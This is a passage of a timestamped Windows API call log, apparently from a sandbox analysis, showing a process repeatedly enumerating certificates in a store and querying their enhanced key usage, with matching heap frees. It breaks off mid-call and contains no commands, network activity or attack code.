1 [0081.686] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a370 | out: hHeap=0x2ad0000) returned 1 [0081.686] CertEnumCertificatesInStore (hCertStore=0x1060f98, pPrevCertContext=0x3e24b90) returned 0x3e24910 [0081.686] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24910, dwFlags=0x4, pUsage=0x0, pcbUsage=0x9ba874 | out: pUsage=0x0, pcbUsage=0x9ba874) returned 1 [0081.687] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24910, dwFlags=0x4, pUsage=0x33f6ba0, pcbUsage=0x9ba874 | out: pUsage=0x33f6ba0, pcbUsage=0x9ba874) returned 1 [0081.687] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6ba0 | out: hHeap=0x2ad0000) returned 1 [0081.687] CertEnumCertificatesInStore (hCertStore=0x1060f98, pPrevCertContext=0x3e24910) returned 0x3e24af0 [0081.687] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24af0, dwFlags=0x4, pUsage=0x0, pcbUsage=0x9ba874 | out: pUsage=0x0, pcbUsage=0x9ba874) returned 1 [0081.687] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24af0, dwFlags=0x4, pUsage=0x334d160, pcbUsage=0x9ba874 | out: pUsage=0x334d160, pcbUsage=0x9ba874) returned 1 [0081.687] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x334d160 | out: hHeap=0x2ad0000) returned 1 [0081.687] CertEnumCertificatesInStore (hCertStore=0x1060f98, pPrevCertContext=0x3e24af0) returned 0x3e24910 [0081.687] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24910, dwFlags=0x4, pUsage=0x0, pcbUsage=0x9ba874 | out: pUsage=0x0, pcbUsage=0x9ba874) returned 1 [0081.687] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24910, dwFlags=0x4, pUsage=0x2c374c0, pcbUsage=0x9ba874 | out: pUsage=0x2c374c0, pcbUsage=0x9ba874) returned 1 [0081.687] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c374c0 | out: hHeap=0x2ad0000) returned 1 [0081.687] CertEnumCertificatesInStore (hCertStore=0x1060f98, pPrevCertContext=0x3e24910) returned 0x3e24be0 [0081.687] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24be0, dwFlags=0x4, pUsage=0x0, pcbUsage=0x9ba874 | out: pUsage=0x0, pcbUsage=0x9ba874) returned 1 [0081.687] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24be0, dwFlags=0x4, pUsage=0x2a19298, pcbUsage=0x9ba874 | out: pUsage=0x2a19298, pcbUsage=0x9ba874) returned 1 [0081.687] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a19298 | out: hHeap=0x2ad0000) returned 1 [0081.688] CertEnumCertificatesInStore (hCertStore=0x1060f98, pPrevCertContext=0x3e24be0) returned 0x3e24910 [0081.688] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24910, dwFlags=0x4, pUsage=0x0, pcbUsage=0x9ba874 | out: pUsage=0x0, pcbUsage=0x9ba874) returned 1 [0081.688] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24910, dwFlags=0x4, pUsage=0x2a1af78, pcbUsage=0x9ba874 | out: pUsage=0x2a1af78, pcbUsage=0x9ba874) returned 1 [0081.688] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1af78 | out: hHeap=0x2ad0000) returned 1 [0081.688] CertEnumCertificatesInStore (hCertStore=0x1060f98, pPrevCertContext=0x3e24910) returned 0x3e24af0 [0081.688] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24af0, dwFlags=0x4, pUsage=0x0, pcbUsage=0x9ba874 | out: pUsage=0x0, pcbUsage=0x9ba874) returned 1 [0081.688] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24af0, dwFlags=0x4, pUsage=0x334d3e0, pcbUsage=0x9ba874 | out: pUsage=0x334d3e0, pcbUsage=0x9ba874) returned 1 [0081.688] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x334d3e0 | out: hHeap=0x2ad0000) returned 1 [0081.688] CertEnumCertificatesInStore (hCertStore=0x1060f98, pPrevCertContext=0x3e24af0) returned 0x3e24910 [0081.688] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24910, dwFlags=0x4, pUsage=0x0, pcbUsage=0x9ba874 | out: pUsage=0x0, pcbUsage=0x9ba874) returned 1 [0081.688] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24910, dwFlags=0x4, pUsage=0x33d1650, pcbUsage=0x9ba874 | out: pUsage=0x33d1650, pcbUsage=0x9ba874) returned 1 [0081.689] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33d1650 | out: hHeap=0x2ad0000) returned 1 [0081.689] CertEnumCertificatesInStore (hCertStore=0x1060f98, pPrevCertContext=0x3e24910) returned 0x3e24af0 [0081.689] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24af0, dwFlags=0x4, pUsage=0x0, pcbUsage=0x9ba874 | out: pUsage=0x0, pcbUsage=0x9ba874) returned 1 [0081.689] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24af0, dwFlags=0x4, pUsage=0x33d1b00, pcbUsage=0x9ba874 | out: pUsage=0x33d1b00, pcbUsage=0x9ba874) returned 1 [0081.689] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33d1b00 | out: hHeap=0x2ad0000) returned 1 [0081.689] CertEnumCertificatesInStore (hCertStore=0x1060f98, pPrevCertContext=0x3e24af0) returned 0x3e24b40 [0081.689] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24b40, dwFlags=0x4, pUsage=0x0, pcbUsage=0x9ba874 | out: pUsage=0x0, pcbUsage=0x9ba874) returned 1 [0081.689] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24b40, dwFlags=0x4, pUsage=0x334d160, pcbUsage=0x9ba874 | out: pUsage=0x334d160, pcbUsage=0x9ba874) returned 1 [0081.689] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x334d160 | out: hHeap=0x2ad0000) returned 1 [0081.690] CertEnumCertificatesInStore (hCertStore=0x1060f98, pPrevCertContext=0x3e24b40) returned 0x3e24910 [0081.690] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24910, dwFlags=0x4, pUsage=0x0, pcbUsage=0x9ba874 | out: pUsage=0x0, pcbUsage=0x9ba874) returned 1 [0081.690] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24910, dwFlags=0x4, pUsage=0x33f6b20, pcbUsage=0x9ba874 | out: pUsage=0x33f6b20, pcbUsage=0x9ba874) returned 1 [0081.690] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6b20 | out: hHeap=0x2ad0000) returned 1 [0081.690] CertEnumCertificatesInStore (hCertStore=0x1060f98, pPrevCertContext=0x3e24910) returned 0x3e24af0 [0081.690] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24af0, dwFlags=0x4, pUsage=0x0, pcbUsage=0x9ba874 | out: pUsage=0x0, pcbUsage=0x9ba874) returned 1 [0081.690] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24af0, dwFlags=0x4, pUsage=0x35b93a0, pcbUsage=0x9ba874 | out: pUsage=0x35b93a0, pcbUsage=0x9ba874) returned 1 [0081.690] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35b93a0 | out: hHeap=0x2ad0000) returned 1 [0081.690] CertEnumCertificatesInStore (hCertStore=0x1060f98, pPrevCertContext=0x3e24af0) returned 0x3e24cd0 [0081.690] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24cd0, dwFlags=0x4, pUsage=0x0, pcbUsage=0x9ba874 | out: pUsage=0x0, pcbUsage=0x9ba874) returned 1 [0081.690] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24cd0, dwFlags=0x4, pUsage=0x33f3ca8, pcbUsage=0x9ba874 | out: pUsage=0x33f3ca8, pcbUsage=0x9ba874) returned 1 [0081.690] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f3ca8 | out: hHeap=0x2ad0000) returned 1 [0081.690] CertEnumCertificatesInStore (hCertStore=0x1060f98, pPrevCertContext=0x3e24cd0) returned 0x3e24910 [0081.690] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24910, dwFlags=0x4, pUsage=0x0, pcbUsage=0x9ba874 | out: pUsage=0x0, pcbUsage=0x9ba874) returned 1 [0081.691] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24910, dwFlags=0x4, pUsage=0x334d160, pcbUsage=0x9ba874 | out: pUsage=0x334d160, pcbUsage=0x9ba874) returned 1 [0081.691] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x334d160 | out: hHeap=0x2ad0000) returned 1 [0081.691] CertEnumCertificatesInStore (hCertStore=0x1060f98, pPrevCertContext=0x3e24910) returned 0x3e24af0 [0081.691] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24af0, dwFlags=0x4, pUsage=0x0, pcbUsage=0x9ba874 | out: pUsage=0x0, pcbUsage=0x9ba874) returned 1 [0081.691] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24af0, dwFlags=0x4, pUsage=0x334cc60, pcbUsage=0x9ba874 | out: pUsage=0x334cc60, pcbUsage=0x9ba874) returned 1 [0081.691] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x334cc60 | out: hHeap=0x2ad0000) returned 1 [0081.691] CertEnumCertificatesInStore (hCertStore=0x1060f98, pPrevCertContext=0x3e24af0) returned 0x3e24910 [0081.691] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24910, dwFlags=0x4, pUsage=0x0, pcbUsage=0x9ba874 | out: pUsage=0x0, pcbUsage=0x9ba874) returned 1 [0081.691] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24910, dwFlags=0x4, pUsage=0x334d480, pcbUsage=0x9ba874 | out: pUsage=0x334d480, pcbUsage=0x9ba874) returned 1 [0081.691] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x334d480 | out: hHeap=0x2ad0000) returned 1 [0081.691] CertEnumCertificatesInStore (hCertStore=0x1060f98, pPrevCertContext=0x3e24910) returned 0x3e24af0 [0081.691] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24af0, dwFlags=0x4, pUsage=0x0, pcbUsage=0x9ba874 | out: pUsage=0x0, pcbUsage=0x9ba874) returned 1 [0081.691] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24af0, dwFlags=0x4, pUsage=0x2a1a5a0, pcbUsage=0x9ba874 | out: pUsage=0x2a1a5a0, pcbUsage=0x9ba874) returned 1 [0081.691] CertEnumCertificatesInStore (hCertStore=0x1060f98, pPrevCertContext=0x3e24af0) returned 0x3e24b40 [0081.692] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24b40, dwFlags=0x4, pUsage=0x0, pcbUsage=0x9ba874 | out: pUsage=0x0, pcbUsage=0x9ba874) returned 1 [0081.692] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24b40, dwFlags=0x4, pUsage=0x33d1830, pcbUsage=0x9ba874 | out: pUsage=0x33d1830, pcbUsage=0x9ba874) returned 1 [0081.692] CertEnumCertificatesInStore (hCertStore=0x1060f98, pPrevCertContext=0x3e24b40) returned 0x3e24910 [0081.692] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24910, dwFlags=0x4, pUsage=0x0, pcbUsage=0x9ba874 | out: pUsage=0x0, pcbUsage=0x9ba874) returned 1 [0081.692] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24910, dwFlags=0x4, pUsage=0x334d2a0, pcbUsage=0x9ba874 | out: pUsage=0x334d2a0, pcbUsage=0x9ba874) returned 1 [0081.692] CertEnumCertificatesInStore (hCertStore=0x1060f98, pPrevCertContext=0x3e24910) returned 0x3e24af0 [0081.692] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24af0, dwFlags=0x4, pUsage=0x0, pcbUsage=0x9ba874 | out: pUsage=0x0, pcbUsage=0x9ba874) returned 1 [0081.692] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24af0, dwFlags=0x4, pUsage=0x33f3ca8, pcbUsage=0x9ba874 | out: pUsage=0x33f3ca8, pcbUsage=0x9ba874) returned 1 [0081.692] CertEnumCertificatesInStore (hCertStore=0x1060f98, pPrevCertContext=0x3e24af0) returned 0x3e24910 [0081.692] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24910, dwFlags=0x4, pUsage=0x0, pcbUsage=0x9ba874 | out: pUsage=0x0, pcbUsage=0x9ba874) returned 1 [0081.692] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24910, dwFlags=0x4, pUsage=0x33f3ca8, pcbUsage=0x9ba874 | out: pUsage=0x33f3ca8, pcbUsage=0x9ba874) returned 1 [0081.693] CertEnumCertificatesInStore (hCertStore=0x1060f98, pPrevCertContext=0x3e24910) returned 0x3e24af0 [0081.693] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24af0, dwFlags=0x4, pUsage=0x0, pcbUsage=0x9ba874 | out: pUsage=0x0, pcbUsage=0x9ba874) returned 0 [0081.693] GetLastError () returned 0x80092004 [0081.693] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24af0, dwFlags=0x2, pUsage=0x0, pcbUsage=0x9ba874 | out: pUsage=0x0, pcbUsage=0x9ba874) returned 0 [0081.693] GetLastError () returned 0x80092004 [0081.693] CertEnumCertificatesInStore (hCertStore=0x1060f98, pPrevCertContext=0x3e24af0) returned 0x3e24910 [0081.693] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24910, dwFlags=0x4, pUsage=0x0, pcbUsage=0x9ba874 | out: pUsage=0x0, pcbUsage=0x9ba874) returned 1 [0081.693] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24910, dwFlags=0x4, pUsage=0x31de958, pcbUsage=0x9ba874 | out: pUsage=0x31de958, pcbUsage=0x9ba874) returned 1 [0081.693] CertEnumCertificatesInStore (hCertStore=0x1060f98, pPrevCertContext=0x3e24910) returned 0x3e24af0 [0081.693] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24af0, dwFlags=0x4, pUsage=0x0, pcbUsage=0x9ba874 | out: pUsage=0x0, pcbUsage=0x9ba874) returned 1 [0081.693] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24af0, dwFlags=0x4, pUsage=0x334d2a0, pcbUsage=0x9ba874 | out: pUsage=0x334d2a0, pcbUsage=0x9ba874) returned 1 [0081.693] CertEnumCertificatesInStore (hCertStore=0x1060f98, pPrevCertContext=0x3e24af0) returned 0x3e24910 [0081.693] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24910, dwFlags=0x4, pUsage=0x0, pcbUsage=0x9ba874 | out: pUsage=0x0, pcbUsage=0x9ba874) returned 1 [0081.694] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24910, dwFlags=0x4, pUsage=0x33d0de0, pcbUsage=0x9ba874 | out: pUsage=0x33d0de0, pcbUsage=0x9ba874) returned 1 [0081.694] CertEnumCertificatesInStore (hCertStore=0x1060f98, pPrevCertContext=0x3e24910) returned 0x3e24af0 [0081.695] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24af0, dwFlags=0x4, pUsage=0x0, pcbUsage=0x9ba874 | out: pUsage=0x0, pcbUsage=0x9ba874) returned 1 [0081.695] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24af0, dwFlags=0x4, pUsage=0x33d1a10, pcbUsage=0x9ba874 | out: pUsage=0x33d1a10, pcbUsage=0x9ba874) returned 1 [0081.695] CertEnumCertificatesInStore (hCertStore=0x1060f98, pPrevCertContext=0x3e24af0) returned 0x3e24b40 [0081.695] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24b40, dwFlags=0x4, pUsage=0x0, pcbUsage=0x9ba874 | out: pUsage=0x0, pcbUsage=0x9ba874) returned 1 [0081.695] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24b40, dwFlags=0x4, pUsage=0x334cda0, pcbUsage=0x9ba874 | out: pUsage=0x334cda0, pcbUsage=0x9ba874) returned 1 [0081.695] CertEnumCertificatesInStore (hCertStore=0x1060f98, pPrevCertContext=0x3e24b40) returned 0x3e24910 [0081.695] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24910, dwFlags=0x4, pUsage=0x0, pcbUsage=0x9ba874 | out: pUsage=0x0, pcbUsage=0x9ba874) returned 1 [0081.695] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24910, dwFlags=0x4, pUsage=0x33f6520, pcbUsage=0x9ba874 | out: pUsage=0x33f6520, pcbUsage=0x9ba874) returned 1 [0081.695] CertEnumCertificatesInStore (hCertStore=0x1060f98, pPrevCertContext=0x3e24910) returned 0x3e24af0 [0081.695] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24af0, dwFlags=0x4, pUsage=0x0, pcbUsage=0x9ba874 | out: pUsage=0x0, pcbUsage=0x9ba874) returned 1 [0081.696] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24af0, dwFlags=0x4, pUsage=0x334ca80, pcbUsage=0x9ba874 | out: pUsage=0x334ca80, pcbUsage=0x9ba874) returned 1 [0081.696] CertEnumCertificatesInStore (hCertStore=0x1060f98, pPrevCertContext=0x3e24af0) returned 0x3e24b40 [0081.696] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24b40, dwFlags=0x4, pUsage=0x0, pcbUsage=0x9ba874 | out: pUsage=0x0, pcbUsage=0x9ba874) returned 1 [0081.696] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24b40, dwFlags=0x4, pUsage=0x33f5e20, pcbUsage=0x9ba874 | out: pUsage=0x33f5e20, pcbUsage=0x9ba874) returned 1 [0081.696] CertEnumCertificatesInStore (hCertStore=0x1060f98, pPrevCertContext=0x3e24b40) returned 0x3e24910 [0081.696] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24910, dwFlags=0x4, pUsage=0x0, pcbUsage=0x9ba874 | out: pUsage=0x0, pcbUsage=0x9ba874) returned 1 [0081.696] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24910, dwFlags=0x4, pUsage=0x2a19328, pcbUsage=0x9ba874 | out: pUsage=0x2a19328, pcbUsage=0x9ba874) returned 1 [0081.696] CertEnumCertificatesInStore (hCertStore=0x1060f98, pPrevCertContext=0x3e24910) returned 0x3e24af0 [0081.696] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24af0, dwFlags=0x4, pUsage=0x0, pcbUsage=0x9ba874 | out: pUsage=0x0, pcbUsage=0x9ba874) returned 1 [0081.696] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24af0, dwFlags=0x4, pUsage=0x33d0de0, pcbUsage=0x9ba874 | out: pUsage=0x33d0de0, pcbUsage=0x9ba874) returned 1 [0081.696] CertEnumCertificatesInStore (hCertStore=0x1060f98, pPrevCertContext=0x3e24af0) returned 0x3e24910 [0081.696] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24910, dwFlags=0x4, pUsage=0x0, pcbUsage=0x9ba874 | out: pUsage=0x0, pcbUsage=0x9ba874) returned 1 [0081.697] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24910, dwFlags=0x4, pUsage=0x33f6620, pcbUsage=0x9ba874 | out: pUsage=0x33f6620, pcbUsage=0x9ba874) returned 1 [0081.697] CertEnumCertificatesInStore (hCertStore=0x1060f98, pPrevCertContext=0x3e24910) returned 0x3e24af0 [0081.697] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24af0, dwFlags=0x4, pUsage=0x0, pcbUsage=0x9ba874 | out: pUsage=0x0, pcbUsage=0x9ba874) returned 1 [0081.697] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24af0, dwFlags=0x4, pUsage=0x31de6e8, pcbUsage=0x9ba874 | out: pUsage=0x31de6e8, pcbUsage=0x9ba874) returned 1 [0081.697] CertEnumCertificatesInStore (hCertStore=0x1060f98, pPrevCertContext=0x3e24af0) returned 0x3e24910 [0081.697] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24910, dwFlags=0x4, pUsage=0x0, pcbUsage=0x9ba874 | out: pUsage=0x0, pcbUsage=0x9ba874) returned 1 [0081.697] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24910, dwFlags=0x4, pUsage=0x33d1920, pcbUsage=0x9ba874 | out: pUsage=0x33d1920, pcbUsage=0x9ba874) returned 1 [0081.697] CertEnumCertificatesInStore (hCertStore=0x1060f98, pPrevCertContext=0x3e24910) returned 0x3e24af0 [0081.697] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24af0, dwFlags=0x4, pUsage=0x0, pcbUsage=0x9ba874 | out: pUsage=0x0, pcbUsage=0x9ba874) returned 1 [0081.697] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24af0, dwFlags=0x4, pUsage=0x33f6120, pcbUsage=0x9ba874 | out: pUsage=0x33f6120, pcbUsage=0x9ba874) returned 1 [0081.697] CertEnumCertificatesInStore (hCertStore=0x1060f98, pPrevCertContext=0x3e24af0) returned 0x3e24b90 [0081.697] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24b90, dwFlags=0x4, pUsage=0x0, pcbUsage=0x9ba874 | out: pUsage=0x0, pcbUsage=0x9ba874) returned 1 [0081.698] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24b90, dwFlags=0x4, pUsage=0x33f3ca8, pcbUsage=0x9ba874 | out: pUsage=0x33f3ca8, pcbUsage=0x9ba874) returned 1 [0081.698] CertEnumCertificatesInStore (hCertStore=0x1060f98, pPrevCertContext=0x3e24b90) returned 0x3e24910 [0081.698] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24910, dwFlags=0x4, pUsage=0x0, pcbUsage=0x9ba874 | out: pUsage=0x0, pcbUsage=0x9ba874) returned 1 [0081.698] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24910, dwFlags=0x4, pUsage=0x33f6320, pcbUsage=0x9ba874 | out: pUsage=0x33f6320, pcbUsage=0x9ba874) returned 1 [0081.698] CertEnumCertificatesInStore (hCertStore=0x1060f98, pPrevCertContext=0x3e24910) returned 0x3e24af0 [0081.698] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24af0, dwFlags=0x4, pUsage=0x0, pcbUsage=0x9ba874 | out: pUsage=0x0, pcbUsage=0x9ba874) returned 1 [0081.698] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24af0, dwFlags=0x4, pUsage=0x33f6120, pcbUsage=0x9ba874 | out: pUsage=0x33f6120, pcbUsage=0x9ba874) returned 1 [0081.698] CertEnumCertificatesInStore (hCertStore=0x1060f98, pPrevCertContext=0x3e24af0) returned 0x3e24910 [0081.699] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24910, dwFlags=0x4, pUsage=0x0, pcbUsage=0x9ba874 | out: pUsage=0x0, pcbUsage=0x9ba874) returned 1 [0081.699] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24910, dwFlags=0x4, pUsage=0x334d3e0, pcbUsage=0x9ba874 | out: pUsage=0x334d3e0, pcbUsage=0x9ba874) returned 1 [0081.699] CertEnumCertificatesInStore (hCertStore=0x1060f98, pPrevCertContext=0x3e24910) returned 0x3e24b40 [0081.699] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24b40, dwFlags=0x4, pUsage=0x0, pcbUsage=0x9ba874 | out: pUsage=0x0, pcbUsage=0x9ba874) returned 1 [0081.699] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24b40, dwFlags=0x4, pUsage=0x334d840, pcbUsage=0x9ba874 | out: pUsage=0x334d840, pcbUsage=0x9ba874) returned 1 [0081.699] CertEnumCertificatesInStore (hCertStore=0x1060f98, pPrevCertContext=0x3e24b40) returned 0x3e24910 [0081.699] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24910, dwFlags=0x4, pUsage=0x0, pcbUsage=0x9ba874 | out: pUsage=0x0, pcbUsage=0x9ba874) returned 1 [0081.699] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24910, dwFlags=0x4, pUsage=0x33f3ca8, pcbUsage=0x9ba874 | out: pUsage=0x33f3ca8, pcbUsage=0x9ba874) returned 1 [0081.699] CertEnumCertificatesInStore (hCertStore=0x1060f98, pPrevCertContext=0x3e24910) returned 0x3e24af0 [0081.699] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24af0, dwFlags=0x4, pUsage=0x0, pcbUsage=0x9ba874 | out: pUsage=0x0, pcbUsage=0x9ba874) returned 1 [0081.699] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24af0, dwFlags=0x4, pUsage=0x35b9478, pcbUsage=0x9ba874 | out: pUsage=0x35b9478, pcbUsage=0x9ba874) returned 1 [0081.700] CertEnumCertificatesInStore (hCertStore=0x1060f98, pPrevCertContext=0x3e24af0) returned 0x3e24b40 [0081.700] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24b40, dwFlags=0x4, pUsage=0x0, pcbUsage=0x9ba874 | out: pUsage=0x0, pcbUsage=0x9ba874) returned 1 [0081.700] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24b40, dwFlags=0x4, pUsage=0x33f3ca8, pcbUsage=0x9ba874 | out: pUsage=0x33f3ca8, pcbUsage=0x9ba874) returned 1 [0081.700] CertEnumCertificatesInStore (hCertStore=0x1060f98, pPrevCertContext=0x3e24b40) returned 0x3e24910 [0081.700] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24910, dwFlags=0x4, pUsage=0x0, pcbUsage=0x9ba874 | out: pUsage=0x0, pcbUsage=0x9ba874) returned 1 [0081.700] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24910, dwFlags=0x4, pUsage=0x33f60a0, pcbUsage=0x9ba874 | out: pUsage=0x33f60a0, pcbUsage=0x9ba874) returned 1 [0081.700] CertEnumCertificatesInStore (hCertStore=0x1060f98, pPrevCertContext=0x3e24910) returned 0x3e24cd0 [0081.700] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24cd0, dwFlags=0x4, pUsage=0x0, pcbUsage=0x9ba874 | out: pUsage=0x0, pcbUsage=0x9ba874) returned 1 [0081.700] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24cd0, dwFlags=0x4, pUsage=0x2a201c8, pcbUsage=0x9ba874 | out: pUsage=0x2a201c8, pcbUsage=0x9ba874) returned 1 [0081.700] CertEnumCertificatesInStore (hCertStore=0x1060f98, pPrevCertContext=0x3e24cd0) returned 0x3e24910 [0081.700] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24910, dwFlags=0x4, pUsage=0x0, pcbUsage=0x9ba874 | out: pUsage=0x0, pcbUsage=0x9ba874) returned 1 [0081.700] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24910, dwFlags=0x4, pUsage=0x33d1470, pcbUsage=0x9ba874 | out: pUsage=0x33d1470, pcbUsage=0x9ba874) returned 1 [0081.701] CertEnumCertificatesInStore (hCertStore=0x1060f98, pPrevCertContext=0x3e24910) returned 0x3e24af0 [0081.701] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24af0, dwFlags=0x4, pUsage=0x0, pcbUsage=0x9ba874 | out: pUsage=0x0, pcbUsage=0x9ba874) returned 1 [0081.701] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24af0, dwFlags=0x4, pUsage=0x33f3ca8, pcbUsage=0x9ba874 | out: pUsage=0x33f3ca8, pcbUsage=0x9ba874) returned 1 [0081.701] CertEnumCertificatesInStore (hCertStore=0x1060f98, pPrevCertContext=0x3e24af0) returned 0x3e24910 [0081.701] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24910, dwFlags=0x4, pUsage=0x0, pcbUsage=0x9ba874 | out: pUsage=0x0, pcbUsage=0x9ba874) returned 1 [0081.701] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24910, dwFlags=0x4, pUsage=0x33f6120, pcbUsage=0x9ba874 | out: pUsage=0x33f6120, pcbUsage=0x9ba874) returned 1 [0081.701] CertEnumCertificatesInStore (hCertStore=0x1060f98, pPrevCertContext=0x3e24910) returned 0x3e24af0 [0081.701] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24af0, dwFlags=0x4, pUsage=0x0, pcbUsage=0x9ba874 | out: pUsage=0x0, pcbUsage=0x9ba874) returned 1 [0081.701] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24af0, dwFlags=0x4, pUsage=0x33d1560, pcbUsage=0x9ba874 | out: pUsage=0x33d1560, pcbUsage=0x9ba874) returned 1 [0081.701] CertEnumCertificatesInStore (hCertStore=0x1060f98, pPrevCertContext=0x3e24af0) returned 0x3e24910 [0081.701] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24910, dwFlags=0x4, pUsage=0x0, pcbUsage=0x9ba874 | out: pUsage=0x0, pcbUsage=0x9ba874) returned 1 [0081.701] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24910, dwFlags=0x4, pUsage=0x334d5c0, pcbUsage=0x9ba874 | out: pUsage=0x334d5c0, pcbUsage=0x9ba874) returned 1 [0081.701] CertEnumCertificatesInStore (hCertStore=0x1060f98, pPrevCertContext=0x3e24910) returned 0x3e24af0 [0081.702] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24af0, dwFlags=0x4, pUsage=0x0, pcbUsage=0x9ba874 | out: pUsage=0x0, pcbUsage=0x9ba874) returned 1 [0081.702] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24af0, dwFlags=0x4, pUsage=0x35b9478, pcbUsage=0x9ba874 | out: pUsage=0x35b9478, pcbUsage=0x9ba874) returned 1 [0081.702] CertEnumCertificatesInStore (hCertStore=0x1060f98, 